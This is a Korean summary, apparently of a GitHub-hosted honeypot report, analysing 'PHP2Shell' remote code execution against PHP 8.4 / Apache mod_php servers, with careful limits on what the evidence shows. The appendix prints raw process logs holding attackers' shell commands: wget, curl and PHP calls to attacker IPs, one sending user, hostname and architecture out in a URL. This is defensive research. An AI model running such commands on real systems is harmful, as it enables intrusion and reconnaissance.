원문 캡처 · github.com
원문 캡처 · github.com

허니팟 6곳의 기록을 분석한 보고서는 PHP2Shell 공격 요청과 아파치 작업 프로세스가 시작한 셸을 연결해, 서로 다른 PHP 서버 3곳에서 총 35건의 코드 실행을 확인했다고 밝혔다. 다만 관측된 출발지 IP 두 개가 각각 별도 공격자에게 속한다고 단정할 수는 없으며, 성공한 공격은 특정 PHP·아파치 설정에서 이뤄졌다.

증거는 패킷 캡처와 Tetragon 프로세스 이벤트, 아파치 요청 기록을 출발지 포트와 시각, 작업 프로세스 정보, 요청 순서로 대조해 확보했다. 35건 모두 완전한 실행 단계 HTTP 요청 직후 uid=33인 아파치 작업 프로세스가 부모인 /bin/sh 실행이 기록됐다. 오류 응답이나 경보만으로 실행을 판단한 것이 아니다.

공격은 메모리 압박, 대형 PHPSESSID를 통한 메모리 정보 노출, 추가 메모리 압박, 대상별 실행 요청의 네 단계로 진행됐다. 첫 세 단계의 요청 본문은 두 출발지와 세 대상에서 바이트 단위로 같았고, 마지막 단계는 유출된 메모리 주소와 셸 명령에 따라 달라졌다. 보고서는 이를 공개된 유출 정보 기반 ASLR 우회 기법과 부합한다고 설명했지만, 정확히 어떤 클라이언트나 PoC 버전이 쓰였는지는 패킷만으로 확인할 수 없다고 밝혔다.

첫 번째 출발지 15.204.59.70은 T1에서 셸 실행 3건을 냈다. 두 번째 162.35.99.94는 T1·T2·T3에서 32건을 냈다. 두 사례는 요청 형식과 순서가 밀접하게 닮았지만, 공통된 도구 형식도 서로 다른 IP 주소도 같은 운영자 또는 별도 운영자의 증거가 되지는 않는다.

대상은 PHP 8.4.26과 단일 작업자 아파치 mod_php, 128MiB PHP 메모리 제한을 사용했다. 관련 PHP 오류는 애플리케이션 코드 실행 전 요청 초기화 단계에서 발생했다. 실행 단계 요청은 모두 평문 HTTP/80을 사용했다. 보고서는 이 결과가 해당 설정의 허니팟에서 관측된 것이며 다른 작업자 수, PHP 빌드, 애플리케이션에서의 공격 성공률을 측정한 자료는 아니라고 한정했다.

셸 명령에는 id, PHP CLI, curl, wget을 이용한 확인이나 접속 시도가 포함됐다. 일부 쓰기는 읽기 전용 파일 시스템에 막혔고, wget은 대상에 없어 실행되지 않았다. 검토된 기록에서 내려받은 2차 파일은 확인되지 않았다. 별도로 104.28.208.84와 144.48.4.242에서도 공격 형태의 요청이 있었지만, 아파치 부모 셸이나 대형 쿠키는 관측되지 않아 성공한 원격 코드 실행으로 분류되지 않았다.

전체 증거 보고서와 요청·프로세스 기록

관련 자료: 초기 공격 시도 기록, 9bie HTTP 전용 PoC, Wiz의 PHP2Shell 분석

부록: 원문 예시

text
T1 15:35:33      php_error     Allowed memory size of 134217728 bytes exhausted    (tried to allocate 4096 bytes) in Unknown on line 0 T1 15:35:36      php_error     PHP Request Startup: Session ID is too long or contains illegal characters T1 15:35:38.673  process_exec  apache2 → /bin/sh  uid=33    args: id>/tmp/x1; for d in /var/www/html /var/www; do id>$d/p1; done;          wget -q http://15.204.59.70:8081/ok33 T1 15:35:38.674  process_exec  /bin/sh → /usr/bin/id  uid=33 T1 15:35:38.676  security_file_permission  /tmp/x1  return=0 T1 after B2       Apache stderr  web-root proof writes: Read-only file system; wget: not found T2 16:46:59.197  process_exec  apache2 → /bin/sh → /usr/local/bin/php    args: php -r 'file_get_contents("http://162.35.99.94:8080/pwn-[T2-honeypot-IP]");' T2 16:46:59.268  tcp_connect   /usr/local/bin/php → 162.35.99.94:8080    state=TCP_SYN_SENT; return=0 T2 16:47:59      php_error     file_get_contents(...): Failed to open stream: Connection timed out T2 16:50:49.133  process_exec  apache2 → /bin/sh → /usr/bin/curl    args: curl -s http://162.35.99.94:8080/pwn-[T2-honeypot-IP] >/dev/null T2 16:50:49.153  tcp_connect   /usr/bin/curl → 162.35.99.94:8080    state=TCP_SYN_SENT; return=0 T3 17:27:25.919  process_exec  apache2 → /bin/sh  uid=33    args: wget -q -O- http://162.35.99.94:80/pwn-[T3-honeypot-IP] T3 after B2       Apache stderr  sh: 1: wget: not found T3 18:08:20.091  process_exec  apache2 → /bin/sh  uid=33    args: curl -s "http://162.35.99.94:80/ID-$(id -un)-$(hostname)-$(uname -m)" T3 18:08:20.093–.102  process_exec  /bin/sh → id -un, hostname, uname -m, curl T3 18:08:20.116  tcp_connect   /usr/bin/curl → 162.35.99.94:80    state=TCP_SYN_SENT; return=0